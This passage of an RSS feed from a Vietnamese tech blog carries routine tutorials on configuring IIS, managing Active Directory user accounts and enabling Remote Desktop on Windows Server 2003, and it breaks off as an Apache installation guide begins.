Chọn vào tad Directory Security và chọn vào mục                                  Edit “Anonymous Access …”.&lt;/span&gt;&lt;/p&gt;                                 &lt;p class="MsoNormal" style="line-height: 150%; text-align: justify;"&gt;&lt;span style="line-height: 150%;font-family:Arial;font-size:10;"  &gt;3.                                  Đảm bảo chắc chắn rằng Anonymous Access property                                  được chọn và click chuột vào nút  Edit.&lt;/span&gt;&lt;/p&gt;                                 &lt;p class="MsoNormal" style="line-height: 150%; text-align: justify;"&gt;&lt;span style="line-height: 150%;font-family:Arial;font-size:10;"  &gt;4.                                  Xem xét xem tài khoản của người sử dụng có được                                  quyền truy cập vào máy tính hay thư mục Website                                  của bạn không.&lt;/span&gt;&lt;/p&gt;                                 &lt;p class="MsoNormal" style="line-height: 150%; text-align: justify;"&gt;&lt;span style="line-height: 150%;font-family:Arial;font-size:10;"  &gt;Để                                  chắc chắn bạn có vấn đề về quyền truy nhập, hãy                                  thử sử dụng tài khoản Administrator ở đây.                                  &lt;/span&gt;&lt;/p&gt;                                 &lt;p class="MsoNormal" style="line-height: 150%; text-align: justify;"&gt; &lt;/p&gt;                                 &lt;p class="MsoNormal" style="line-height: 150%; text-align: justify;"&gt;&lt;span style="line-height: 150%;font-family:Arial;font-size:10;"  &gt;Sau                                  khi đã giải quyết vấn đề về quyền truy nhập                                  nhưng bạn vẫn nhận được thông báo “Directory                                  Listing Denied”, chắc chắn bạn đã trỏ Website                                  của bạn tới file index không phù hợp với file                                  index được phép hoặc đã đăng ký cho Website của                                  bạn.&lt;/span&gt;&lt;/p&gt;                                 &lt;p class="MsoNormal" style="line-height: 150%; text-align: justify;"&gt;&lt;span style="line-height: 150%;font-family:Arial;font-size:10;"  &gt;1.                                  Click chuột phải vào tên Website nằm trong danh                                  sách server của bạn mà bạn mới thiết lập và chọn                                  Property từ menu đó.&lt;/span&gt;&lt;/p&gt;                                 &lt;p&gt;&lt;span style=";font-family:Arial;font-size:10;"  &gt;2.                                  Click vào Document tab&lt;/span&gt;&lt;/p&gt;                                 &lt;p class="MsoNormal" style="margin-top: 0px; margin-bottom: 0px; text-align: center;"&gt;                                 &lt;img src="http://freecodevn.com/for@um/huongdan/ADSL/images/IIs9.gif" border="0" height="454" width="498" /&gt;&lt;/p&gt;                                 &lt;p class="MsoNormal" style="margin-top: 0px; margin-bottom: 0px; text-align: center;"&gt; &lt;/p&gt;                                 &lt;p class="MsoNormal" style="line-height: 150%; text-align: justify;"&gt;&lt;span style="line-height: 150%;font-family:Arial;font-size:10;"  &gt;3.                                  Click Add và đánh vào tên file index của bạn rồi                                  ấn OK (ví dụ: Website dyndns ở trên có file                                  index dạng index.htm).&lt;/span&gt;&lt;/p&gt;                                 &lt;p class="MsoNormal" style="line-height: 150%; text-align: justify;"&gt;&lt;span style="line-height: 150%;font-family:Arial;font-size:10;"  &gt;4.                                  Ấn tiếp OK để kết thúc.&lt;/span&gt;&lt;/p&gt;                                 &lt;p class="MsoNormal" style="line-height: 150%; text-align: justify;"&gt;&lt;span style="line-height: 150%;font-family:Arial;font-size:10;"  &gt;Bây                                  giờ thử mở Browse và gõ vào trường URL tên miền                                  của bạn, nếu cấu hình chính xác Website sẽ                                  chạy.&lt;/span&gt;&lt;/p&gt;                                 &lt;p class="MsoNormal" style="line-height: 150%; text-align: justify;"&gt;&lt;span style="line-height: 150%;font-family:Arial;font-size:10;"  &gt;Lặp                                  lại chu trình trên để cấu hình cho tất cả các                                  Website sử dụng IIS.&lt;/span&gt;&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4623594449992858463-3634251577031098129?l=danglvh.blogspot.com'/&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/WelcomeToDanglvhsBlog/~4/U9espGYfbGY" height="1" width="1"/&gt;</description><link>http://feedproxy.google.com/~r/WelcomeToDanglvhsBlog/~3/U9espGYfbGY/hng-dn-ci-t-webserver-iis.html</link><author>noreply@blogger.com (DangLVH)</author><feedburner:origLink>http://danglvh.blogspot.com/2007/10/hng-dn-ci-t-webserver-iis.html</feedburner:origLink></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-4623594449992858463.post-8152718155286158893</guid><pubDate>Sun, 21 Oct 2007 03:20:00 +0000</pubDate><atom:updated>2007-10-21T10:20:07.124+07:00</atom:updated><category domain="http://www.blogger.com/atom/ns#">Basic Network</category><title>Kiến thức cơ bản về mạng: Phần 12 – Quản lý tài khoản người dùng</title><description>&lt;span class="bodytxt"&gt;&lt;p align="justify"&gt;&lt;span style=";font-family:Times New Roman,Times,serif;font-size:100%;"  &gt;&lt;strong&gt;&lt;span style="color: rgb(51, 51, 51);"&gt;Trong phần trước của loạt bài này, chúng tôi đã giới thiệu cho các bạn về Active Directory Users và Computers console. Mặc dù trong phần đó đã giới thiệu cách kết nối đến miền cần chọn bằng giao diện này, nhưng còn một vấn đề mà chúng tôi muốn giới thiệu tiếp đó là cách sử dụng giao diện điều khiển này trong các nhiệm vụ quản lý hàng ngày. Trong phần này, chúng tôi sẽ giới thiệu cho các bạn một số kỹ thuật cơ bản cho việc bảo quản tài khoản người dùng.&lt;br /&gt;&lt;/span&gt;&lt;/strong&gt;&lt;br /&gt;&lt;strong&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;Tạo một tài khoản người dùng (User Account)&lt;/span&gt;&lt;/strong&gt;&lt;br /&gt;&lt;br /&gt;Một trong những sử dụng thấy nhiều nhất ở Active Directory Users trong Computers console là tạo các tài khoản người dùng mới. Để thực hiện điều đó, bạn mở mục tương ứng với miền chứa người dùng, chọn mục Users. Sau khi thực hiện như vậy, một panel chi tiết của giao diện sẽ hiển thị tất cả tài khoản người dùng đang tồn tại trong miền (như trong hình A). &lt;/span&gt;&lt;/p&gt; &lt;p align="center"&gt;&lt;span style=";font-family:Times New Roman,Times,serif;font-size:100%;"  &gt;&lt;span style="color: rgb(51, 102, 255);"&gt;&lt;img alt="" src="http://www.quantrimang.com/photos/image/092007/07/ActiveDirectory-Users1.jpg" vspace="4" /&gt;&lt;br /&gt;Hình A: Chọn mục Users, giao diện điều khiển sẽ hiển thị&lt;br /&gt;tất cả các tài khoản người dùng trong miền&lt;/span&gt; &lt;/span&gt;&lt;/p&gt; &lt;p align="justify"&gt;&lt;span style=";font-family:Times New Roman,Times,serif;font-size:100%;"  &gt;Bây giờ kích chuột phải vào mục Users và chọn New. Khi đó bạn sẽ thấy được các menu con, từ menu con này có thể chọn nhiều kiểu đối tượng khác nhau mà bạn có thể tạo. Nói về kỹ thuật, Users chỉ là một mục và bạn có thể đưa vào rất nhiều kiểu đối tượng. Tuy vậy sẽ không tốt nếu bạn thực hiện lưu nhiều đối tượng khác hơn là các đối tượng người dùng trong mục Users. Với trường hợp bài này đưa ra, bạn chọn lệnh Users từ các menu con. Khi đó sẽ thấy một hộp thoại xuất hiện như trong hình B. &lt;/span&gt;&lt;/p&gt; &lt;p align="center"&gt;&lt;span style=";font-family:Times New Roman,Times,serif;font-size:100%;"  &gt;&lt;span style="color: rgb(51, 102, 255);"&gt;&lt;img alt="" src="http://www.quantrimang.com/photos/image/092007/07/ActiveDirectory-Users2.jpg" vspace="4" /&gt;&lt;br /&gt;Hình B: Hộp thoại New Object – User cho phép tạo tài khoản người dùng mới&lt;/span&gt; &lt;/span&gt;&lt;/p&gt; &lt;p align="justify"&gt;&lt;span style=";font-family:Times New Roman,Times,serif;font-size:100%;"  &gt;Như những gì thấy trong hình, Windows ban đầu chỉ yêu cầu nhập vào một số thông tin cơ bản về người dùng. Mặc dù cửa sổ này hỏi nhiều thứ khác như tên và họ, nhưng về mặt kỹ thuật thì nó không cần thiết lắm. Phần thông tin cần thiết mà bạn cần phải cung cấp đó là tên đăng nhập của người dùng. Mặc dù các trường khác chỉ là những lựa chọn tùy thích nhưng chúng tôi vẫn khuyên bạn nên điền đầy đủ thông tin vào các trường này.&lt;br /&gt;&lt;br /&gt;Lý do nên điền đầy vào hết các trường này là vì tài khoản người dùng không hơn gì một đối tượng sẽ cứ trú bên trong Active Directory. Các thành phần như tên và họ là thuộc tính của đối tượng người dùng mà bạn đang tạo. Càng nhiều thông tin về thuộc tính thì các thông tin được lưu bên trong Active Directory sẽ càng trở lên hữu dụng. Xét cho cùng, Active Directory là một cơ sở dữ liệu mà bạn có thể truy vấn thông tin. Trong thực tế, nhiều ứng dụng làm việc bằng cách trích rút các thuộc tính khác nhau từ Active Directory. Khi đã điền đầy các trường này, kích nút Next, khi đó bạn sẽ thấy màn hình tiếp theo xuất hiện như trong hình C dưới đây. &lt;/span&gt;&lt;/p&gt; &lt;p align="center"&gt;&lt;span style=";font-family:Times New Roman,Times,serif;font-size:100%;"  &gt;&lt;span style="color: rgb(51, 102, 255);"&gt;&lt;img alt="" src="http://www.quantrimang.com/photos/image/092007/07/ActiveDirectory-Users3.jpg" vspace="4" /&gt;&lt;br /&gt;Hình C: Cần phải gán mật khẩi cho tài khoản mới&lt;/span&gt; &lt;/span&gt;&lt;/p&gt; &lt;p align="justify"&gt;&lt;span style=";font-family:Times New Roman,Times,serif;font-size:100%;"  &gt;Việc gán một mật khẩu là hoàn toàn đơn giản, tất cả những gì cần làm là đánh và nhập lại mật một mật khẩu. Mặc định, người dùng thường bị yêu cầu thay đổi mật khẩu cho lần đăng nhập kế tiếp. Tuy vậy, bạn có thể tránh trường hợp này bằng cách xóa hộp kiểm “User Must Change Password at Next Logon”. Cũng có nhiều hộp kiểm khác cho phép ngăn chặn người dùng thay đổi tất cả các mật khẩu của họ. Bạn có thể tùy chọn để thiết lập thời hạn vô hạn cho mật khẩu hoặc vô hiệu hóa toàn bộ tài khoản.&lt;br /&gt;&lt;br /&gt;Có một điều cần phải lưu ý là màn hình để thiết lập mật khẩu ở trên không phải là tất cả. Khi bạn gán mật khẩu cho một tài khoản người dùng mới, mật khẩu này phải tuân theo chính sách bảo mật của công ty bạn. Nếu mật khẩu sử dụng không có các yêu cầu cần thiết đã được đưa ra bởi chính sách nhóm có thể áp dụng thì tài khoản người dùng này sẽ không được tạo.&lt;br /&gt;&lt;br /&gt;Kích Next bạn sẽ thấy một màn hình hiển thị toàn bộ các tùy chọn mà bạn đã chọn. Xác nhận tất cả các thông tin đều đúng, khi đó chỉ cần kích Finish và một tài khoản người dùng mới sẽ được tạo.&lt;br /&gt;&lt;br /&gt;&lt;strong&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;Chỉnh sửa và bổ sung các thuộc tính của tài khoản&lt;/span&gt;&lt;/strong&gt;&lt;br /&gt;&lt;br /&gt;Như đã nói ở trên, chúng ta đã thấy được sự quan trọng trong việc điền các thuộc tính khác nhau khi tạo một tài khoản mới. Bạn có thể thấy nhiều màn hình liên quan đến việc tạo tài khoản mới không thực sự có nhiều thuộc tính. Tuy vậy, Active Directory còn gồm có hàng tá thuộc tính kèm theo có liên quan đến các tài khoản của người dùng này.&lt;br /&gt;&lt;br /&gt;Có một số thuộc tính mà bạn có thể rất dễ sử dụng và có ích. Chúng tôi khuyến khích các thuộc tính đang cư trú mà có liên quan đến thông tin liên hệ cơ bản. Trong thực tế, một số công ty thường tạo các thư mục công ty dựa trên thông tin được lưu trong thuộc tính Active Directory này, nó vẫn là một ý tưởng tốt cho việc định cư thông tin tài khoản người dùng trong Active Directory. Ví dụ, với mục đích cần khởi động lại một máy chủ, trong khi đó một người dùng vẫn đăng nhập vào ứng dụng cư trú trên máy chủ. Nếu có các thông tin liên hệ của người dùng được lưu trong Active Directory thì bạn có thể tra cứu số điện thoại của người dùng một cách dễ dàng và gọi cho người dùng này yêu cầu họ đăng xuất.&lt;br /&gt;&lt;br /&gt;Trước khi giới thiệu cho bạn cách đặt các thuộc tính của Active Directory, chúng tôi muốn nhấn mạnh rằng, kỹ thuật tương tự cũng có thể được sử dụng cho việc thay đổi các thuộc tính đang tồn tại. Ví dụ, nếu một nhân viên nữ đã kết hôn, cô ta có thể thay đổi họ của mình (theo truyền thống một số nước). Bạn có thể sử dụng các kỹ thuật mà chúng tôi sẽ giới thiệu sau đây để thay đổi nội dung thuộc tính cần thiết có liên quan.&lt;br /&gt;&lt;br /&gt;Để truy cập vào các thuộc tính tài khoản người dùng khác nhau, đơn giản bạn chỉ cần kích chuột phải vào tài khoản người dùng được chọn, sau đó chọn Properties. Sau khi thực hiện như vậy, bạn sẽ gặp một màn hình như trong hình D. &lt;/span&gt;&lt;/p&gt; &lt;p align="center"&gt;&lt;span style=";font-family:Times New Roman,Times,serif;font-size:100%;"  &gt;&lt;span style="color: rgb(51, 102, 255);"&gt;&lt;img alt="" src="http://www.quantrimang.com/photos/image/092007/07/ActiveDirectory-Users4.jpg" vspace="4" /&gt;&lt;br /&gt;Hình D: Trang thuộc tính của người dùng được sử dụng để lưu thuộc tính&lt;br /&gt;và thông tin cấu hình cho tài khoản người dùng.&lt;/span&gt; &lt;/span&gt;&lt;/p&gt; &lt;p align="justify"&gt;&lt;span style=";font-family:Times New Roman,Times,serif;font-size:100%;"  &gt;Như có thể thấy được trên hình, tab General có thể cho phép thay đổi tên hoặc tên hiển thị của người dùng. Bạn cũng có thể điền vào (hoặc thay đổi) một số trường khác như phần mô tả, văn phòng, điện thoại, email, hoặc website. Nếu quan tâm đến việc lưu trữ thêm các thông tin chi tiết hơn về người dùng thì bạn có thể duyệt qua các tab Address, Telephones, và Organization. Các tab này có tất cả các trường dành cho việc lưu trữ thông tin chi tiết hơn về người dùng.&lt;br /&gt;&lt;br /&gt;&lt;strong&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;Xác lập lại mật khẩu người dùng&lt;/span&gt;&lt;/strong&gt;&lt;br /&gt;&lt;br /&gt;Bạn có thể thấy trên hình D có rất nhiều tab khác nhau. Hầu hết các tab này đều liên quan đến bảo mật và cấu hình cho tài khoản người dùng. Một thành phần mà hầu hết các quản trị viên mới dường như đều phát hiện ra khi khám khá các tab này đó là không có tùy chọn cho việc thiết lập lại mật khẩu của người dùng.&lt;br /&gt;&lt;br /&gt;Nếu cần phải thiết lập lại mật khẩu của người dùng thì bạn phải đóng cửa sổ này. Sau khi thực hiện điều đó, bạn kích chuột phải vào tài khoản người dùng và chọn lệnh Reset Password trong menu chuột phải.&lt;br /&gt;&lt;br /&gt;&lt;strong&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;Kết luận&lt;/span&gt;&lt;/strong&gt;&lt;br /&gt;&lt;br /&gt;Trong phần này, chúng tôi đã giới thiệu cho bạn các quá trình tạo một tài khoản người dùng, việc đặt các thuộc tính của Active Directory khác nhau có liên quan đến tài khoản đó, và việc thiết lập lại mật khẩu của tài khoản. Trong phần tiếp theo của loạt bài này, chúng tôi sẽ tiếp tục giới thiệu về các khả năng khác của Active Directory Users và Computers console.&lt;br /&gt;&lt;/span&gt;&lt;/p&gt; &lt;p align="justify"&gt;&lt;span class="bodytxt"&gt;&lt;b&gt;&lt;i&gt;&lt;span align="right"&gt;Văn Linh (Theo Windows Networking)&lt;/span&gt;&lt;/i&gt;&lt;/b&gt;&lt;/span&gt;&lt;/p&gt;&lt;br /&gt;&lt;p align="justify"&gt;&lt;a href="javascript:updatePost(0);"&gt;&lt;/a&gt;&lt;a href="http://danglvh.blogspot.com/2007/08/kin-thc-c-bn-v-mng-phn-1-cc-thit-b-phn.html"&gt;Kiến thức cơ bản về mạng: Phần 1 - Các thiết bị phần cứng mạng&lt;/a&gt;&lt;br /&gt;&lt;a href="http://danglvh.blogspot.com/2007/08/kin-thc-c-bn-v-mng-phn-2-router_9229.html"&gt;Kiến thức cơ bản về mạng: Phần 2 - Router&lt;/a&gt;&lt;br /&gt;&lt;a href="javascript:updatePost(9);"&gt;&lt;/a&gt;&lt;a href="http://danglvh.blogspot.com/2007/08/kin-thc-c-bn-v-mng-phn-3-dns-server.html"&gt;Kiến thức cơ bản về mạng: Phần 3 - DNS Server&lt;/a&gt;&lt;br /&gt;&lt;a href="javascript:updatePost(1);"&gt;&lt;/a&gt;&lt;a href="http://danglvh.blogspot.com/2007/08/kin-thc-c-bn-v-mng-phn-4-workstation-v.html"&gt;Kiến thức cơ bản về mạng: Phần 4 - Workstation và Server&lt;/a&gt;&lt;br /&gt;&lt;a href="http://danglvh.blogspot.com/2007/08/kin-thc-c-bn-v-mng-phn-5-domain.html"&gt;Kiến thức cơ bản về mạng: Phần 5 - Domain Controller&lt;/a&gt;&lt;br /&gt;&lt;a href="http://danglvh.blogspot.com/2007/08/kin-thc-c-bn-v-mng-phn-6-windows-domain.html"&gt;Kiến thức cơ bản về mạng: Phần 6 - Windows Domain&lt;/a&gt;&lt;br /&gt;&lt;a href="http://danglvh.blogspot.com/2007/08/kin-thc-c-bn-v-mng-phn-8-tip-tc-v-fsmo.html"&gt;Kiến thức cơ bản về mạng: Phần 8 - Tiếp tục về FSMO Role&lt;/a&gt;&lt;br /&gt;&lt;a href="http://danglvh.blogspot.com/2007/08/kin-thc-c-bn-v-mng-phn-7-gii-thiu-v.html"&gt;Kiến thức cơ bản về mạng: Phần 7 - Giới thiệu về FSMO Role&lt;/a&gt;&lt;br /&gt;&lt;a href="http://danglvh.blogspot.com/2007/08/kin-thc-c-bn-v-mng-phn-9-cc-tn-phn-bit.html"&gt;Kiến thức cơ bản về mạng: Phần 9 – Các tên phân biệt&lt;/a&gt;&lt;br /&gt;&lt;a href="http://danglvh.blogspot.com/2007/08/kin-thc-c-bn-v-mng-phn-10-thng-tin-v.html"&gt;Kiến thức cơ bản về mạng: Phần 10 – Thông tin về Active Directory&lt;/a&gt;&lt;br /&gt;&lt;a href="http://danglvh.blogspot.com/2007/10/kin-thc-c-bn-v-mng-phn-11-active.html"&gt;Kiến thức cơ bản về mạng: Phần 11 - Active Directory Users và Computers Console&lt;/a&gt;&lt;/p&gt; &lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4623594449992858463-8152718155286158893?l=danglvh.blogspot.com'/&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/WelcomeToDanglvhsBlog/~4/qiXC5U6-Zg4" height="1" width="1"/&gt;</description><link>http://feedproxy.google.com/~r/WelcomeToDanglvhsBlog/~3/qiXC5U6-Zg4/kin-thc-c-bn-v-mng-phn-12-qun-l-ti-khon.html</link><author>noreply@blogger.com (DangLVH)</author><feedburner:origLink>http://danglvh.blogspot.com/2007/10/kin-thc-c-bn-v-mng-phn-12-qun-l-ti-khon.html</feedburner:origLink></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-4623594449992858463.post-3748831658059363580</guid><pubDate>Sun, 21 Oct 2007 02:54:00 +0000</pubDate><atom:updated>2007-10-21T09:54:39.355+07:00</atom:updated><category domain="http://www.blogger.com/atom/ns#">Basic Network</category><title>Kiến thức cơ bản về mạng: Phần 11 - Active Directory Users và Computers Console</title><description>&lt;span class="bodytxt"&gt;&lt;p align="justify"&gt;&lt;span style=";font-family:Times New Roman,Times,serif;font-size:100%;"  &gt;&lt;strong&gt;&lt;span style="color: rgb(51, 51, 51);"&gt;Trong các phần trước của loạt bài này chúng tôi đã giới thiệu cho các bạn về cách làm việc với AD. Trong phần này chúng tôi sẽ tiếp tục tất cả những gì cần phải thực hiện đối với một mạng.&lt;/span&gt;&lt;/strong&gt;&lt;br /&gt;&lt;br /&gt;Windows Server 2003 có một số công cụ khác được sử dụng cho việc quản lý AD. Công cụ quản lý AD này cho phép bạn sử dụng hầu hết các nhiệm vụ quản lý hàng ngày đó là Directory Users và Computers console. Như tên của nó, công cụ này được sử dụng để tạo, quản lý và xóa các tài khoản người dùng và máy tính.&lt;br /&gt;&lt;br /&gt;Bạn có thể truy cập vào công cụ này bằng cách kích chuột vào nút Start của máy chủ và từ menu Start tìm đến All Programs / Administrative Tools. Tùy chọn Active Directory Users and Computers ở gần phía trên của menu Administrative Tools. Bạn cần phải nhớ rằng chỉ có các bộ điều khiển miền mới có tùy chọn này, vì vậy nếu không quan sát thấy lệnh Active Directory Users and Computers thì bạn phải đăng nhập vào bộ điều khiển miền.&lt;br /&gt;&lt;br /&gt;Một thứ khác mà bạn phải chú ý đó là menu Administrative Tools gồm có một cặp công cụ AD khác: Active Directory Domains and Trusts và Active Directory Sites and Services. Chúng tôi sẽ giới thiệu các tiện ích này trong một số bài viết sau.&lt;br /&gt;&lt;br /&gt;Khi mở mục Active Directory Users and Computers, bạn sẽ thấy xuất hiện một màn hình giống như hình A dưới đây. Bạn có thể xem lại từ các phần trước trong loạt bài này, AD có forest, forest này gồm có một hoặc nhiều miền. Mặc dù forest thể hiện toàn bộ AD nhưng bảng điều khiển Active Directory Users and Computers không cho phép làm việc với AD ở mức forest. Giao diện này chỉ là một công cụ mức miền. Thực tế, nếu nhìn vào hình A bạn sẽ thấy production.com được đánh dấu. Production.com là một miền trên mạng của chúng tôi. Tất cả các mục khác được liệt kê bên dưới đều là đối tượng của miền AD cho từng miền. &lt;/span&gt;&lt;/p&gt; &lt;p align="center"&gt;&lt;span style=";font-family:Times New Roman,Times,serif;font-size:100%;"  &gt;&lt;span style="color: rgb(51, 102, 255);"&gt;&lt;img alt="" src="http://www.quantrimang.com/photos/image/082007/22/ADUsers&amp;amp;Computers.jpg" vspace="4" /&gt;&lt;br /&gt;Hình A: Giao diện Active Directory Users and Computers cho phép quản lý các miền riêng lẻ&lt;/span&gt; &lt;/span&gt;&lt;/p&gt; &lt;p align="justify"&gt;&lt;span style=";font-family:Times New Roman,Times,serif;font-size:100%;"  &gt;Bạn có thể thấy rằng production.com là một trong các miền trên mạng của chúng tôi và không có miền nào khác được liệt kê trong hình A. Điều đó là vì Active Directory Users and Computers chỉ liệt kê một miền tại một thời điểm để giữ cho giao diện trông gọn gàng. Miền được liệt kê trong giao diện tương ứng với bộ điều khiển miền mà bạn đã đăng nhập. Ví dụ, trong khi viết bài này, tôi đã đăng nhập vào một trong các bộ điều khiển miền đó là production.com, vì vậy Active Directory Users and Computers sẽ kết nối đến miền production.com.&lt;br /&gt;&lt;br /&gt;Vấn đề ở đây là các miền đó thường bị phân tán về mặt địa lý. Ví dụ, trong công ty lớn phải có các miền khác nhau cho mỗi văn phòng của công ty. Nếu lúc này bạn đang ở Miami, Florida và miền khác của công ty hiện diện cho một văn phòng tại Las Vegas, Nevada thì nó sẽ không phải di chuyển một quãng đường lớn dọc toàn nước Mỹ mỗi khi bạn cần quản lý miền Las Vegas.&lt;br /&gt;&lt;br /&gt;Mặc dù Active Directory Users and Computers mặc định hiển thị miền có liên quan đến bộ điều khiển miền mà bạn đã đăng nhập, nhưng vẫn có thể sử dụng giao diện này để hiển thị bất kỳ miền nào mà bạn có quyền thao tác với chúng. Tất cả những gì cần phải làm lúc này là kích chuột phải vào miền đang được hiển thị, sau đó chọn lệnh Connect to Domain từ menu chuột phải. Khi thực hiện như vậy sẽ có một màn hình được hiển thị, màn hình này cho phép đánh vào đó tên miền mà bạn muốn kết nối hoặc kích vào nút Browse và duyệt miền.&lt;br /&gt;&lt;br /&gt;Khi một miền được đặt ở xa thì bạn có thể rất khó để đăng nhập trực tiếp vào bộ điều khiển miền. Ví dụ, tôi đã làm việc trong một số văn phòng, trong đó các bộ điều khiển miền được đặt trong các tòa nhà riêng biệt hoặc không có điều kiện thuận lợi cho tôi đăng nhập vào bộ điều khiển miền để thực hiện công việc bảo trì hàng ngày.&lt;br /&gt;&lt;br /&gt;Tuy nhiên một tin tốt đó là không cần phải đăng nhập vào bộ điều khiển miền để truy cập vào giao diện Active Directory Users and Computers mà chỉ cần đăng nhập vào bộ điều khiển miền để truy cập vào giao diện Active Directory Users and Computers từ menu Administrative Tools. Bạn có thể truy cập giao diện này với tư cách máy chủ thành viên bằng cách nạp một cách thủ công nó vào Microsoft Management Console.&lt;br /&gt;&lt;br /&gt;Để thực hiện điều đó, bạn nhập lệnh &lt;strong&gt;MMC&lt;/strong&gt; vào cửa sổ lệnh RUN của máy chủ. Khi thực hiện xong máy chủ sẽ mở một Microsoft Management Console trống. Tiếp theo đó bạn chọn lệnh &lt;strong&gt;Add / Remove Snap-In&lt;/strong&gt; từ menu File của giao diện điều khiển. Windows lúc này sẽ mở cửa sổ thuộc tính của Add / Remove Snap-In. Kích nút &lt;strong&gt;Add&lt;/strong&gt; trên tab Standalone trong cửa sổ thuộc tính, bạn sẽ thấy một danh sách các snap-in có sẵn. Chọn tùy chọn &lt;strong&gt;Active Directory Users and Computers&lt;/strong&gt; từ danh sách snap-in đó và kích &lt;strong&gt;Add&lt;/strong&gt;, tiếp theo đó là &lt;strong&gt;Close&lt;/strong&gt; và &lt;strong&gt;OK&lt;/strong&gt;. Giao diện điều khiển lúc này sẽ được nạp.&lt;br /&gt;&lt;br /&gt;Trong một số trường hợp load giao diện theo cách này có thể gây ra lỗi. Nếu bạn thấy xuất hiện lỗi và giao diện không cho phép quản lý miền sau khi kích chuột phải trên mục Active Directory Users and Computers và chọn lệnh &lt;strong&gt;Connect to Domain Controller&lt;/strong&gt; từ menu chuột phải. Lúc này bạn có thể kết nối giao diện điều khiển đến một bộ điều khiển miền nào đó mà không cần đăng nhập vào bộ điều khiển miền đó. Bằng cách đó bạn sẽ có thể quản lý được miền giống như trong giao diện điều khiển của bộ điều khiển miền.&lt;br /&gt;&lt;br /&gt;Kỹ thuật đó làm việc sẽ rất thú vị nếu bạn có một máy chủ , nhưng điều gì sẽ xảy ra nếu máy trạm làm việc của bạn đang sử dụng Windows Vista, và tất cả máy chủ đều nằm bên phía bên kia của tòa nhà.&lt;br /&gt;&lt;br /&gt;Một trong những giải pháp đơn giản nhất để giải quyết vấn đề này đó là thiết lập một phiên RDP cho một trong những máy chủ. RDP là giao thức máy trạm từ xa (Remote Desktop Protocol). Giao thức này sẽ cho phép điều khiển từ xa các máy chủ trong tổ chức của bạn. Trong môi trường Windows Server 2003 bạn có thể kích hoạt một phiên từ xa bằng cách kích chuột phải vào My Computer và chọn lệnh &lt;strong&gt;Properties&lt;/strong&gt; từ menu chuột phải. Khi đó bạn sẽ thấy đươc cửa sổ thuộc tính của hệ thống. Vào tab &lt;strong&gt;Remote&lt;/strong&gt; và chọn hộp kiểm &lt;strong&gt;Enable Remote Desktop on this Computer&lt;/strong&gt; (xem hình B). &lt;/span&gt;&lt;/p&gt; &lt;p align="center"&gt;&lt;span style=";font-family:Times New Roman,Times,serif;font-size:100%;"  &gt;&lt;span style="color: rgb(51, 102, 255);"&gt;&lt;img alt="" src="http://www.quantrimang.com/photos/image/082007/22/SystemProperties.jpg" vspace="4" /&gt;&lt;br /&gt;Hình B: Cấu hình một máy chủ để hỗ trợ các kết nối máy trạm từ xa (Remote Desktop)&lt;/span&gt;&lt;/span&gt;&lt;/p&gt; &lt;p align="justify"&gt;&lt;span style=";font-family:Times New Roman,Times,serif;font-size:100%;"  &gt;Để kết nối đến máy chủ từ máy Windows Vista, bạn chọn lệnh &lt;strong&gt;Remote Desktop Connection&lt;/strong&gt; từ menu &lt;strong&gt;All Programs&lt;/strong&gt; / &lt;strong&gt;Accessories&lt;/strong&gt;. Khi thực hiện xong, bạn sẽ thấy màn hình xuất hiện như màn hình thể hiện dưới hình C. Lúc này hãy nhập vào tên máy chủ của bạn và kích nút &lt;strong&gt;Connect&lt;/strong&gt; để thiết lập một phiên điều khiển xa. &lt;/span&gt;&lt;/p&gt; &lt;p align="center"&gt;&lt;span style=";font-family:Times New Roman,Times,serif;font-size:100%;"  &gt;&lt;span style="color: rgb(51, 102, 255);"&gt;&lt;img alt="" src="http://www.quantrimang.com/photos/image/082007/22/RemoteDesktop.jpg" vspace="4" /&gt;&lt;br /&gt;Hình C: Có thể kết nối đến một máy chủ từ xa dễ dàng hơn bằng Windows Vista&lt;/span&gt; &lt;/span&gt;&lt;/p&gt; &lt;p align="justify"&gt;&lt;span style=";font-family:Times New Roman,Times,serif;font-size:100%;"  &gt;&lt;strong&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;Kết luận&lt;/span&gt;&lt;/strong&gt;&lt;br /&gt;&lt;br /&gt;Trong phần này chúng tôi đã giới thiệu cho bạn về Active Directory Users and Computers. Trong đó chúng tôi đã giải thích về cách sử dụng giao diện này để quản lý các miền từ xa. Trong phần 12 tới chúng tôi sẽ tiếp tục giới thiệu cho bạn về các khả năng khác của công cụ này. Mời các bạn đón đọc.&lt;br /&gt;&lt;/span&gt;&lt;/p&gt;&lt;p align="justify"&gt;&lt;span class="bodytxt"&gt;&lt;b&gt;&lt;i&gt;&lt;span align="right"&gt;Văn Linh (Theo Windows Networking)&lt;/span&gt;&lt;/i&gt;&lt;/b&gt;&lt;/span&gt;&lt;/p&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4623594449992858463-3748831658059363580?l=danglvh.blogspot.com'/&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/WelcomeToDanglvhsBlog/~4/ondjBNqC0NM" height="1" width="1"/&gt;</description><link>http://feedproxy.google.com/~r/WelcomeToDanglvhsBlog/~3/ondjBNqC0NM/kin-thc-c-bn-v-mng-phn-11-active.html</link><author>noreply@blogger.com (DangLVH)</author><feedburner:origLink>http://danglvh.blogspot.com/2007/10/kin-thc-c-bn-v-mng-phn-11-active.html</feedburner:origLink></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-4623594449992858463.post-1562865348362697796</guid><pubDate>Tue, 16 Oct 2007 03:41:00 +0000</pubDate><atom:updated>2007-10-16T10:41:38.487+07:00</atom:updated><category domain="http://www.blogger.com/atom/ns#">Lập Trình Web</category><title>Hướng dẫn cài đặt webserver Apache</title><description>&lt;span style="font-size: 10pt; line-height: 150%; font-family: Arial;"&gt;Download                                  file để cài đặt Apache từ website sau: &lt;a 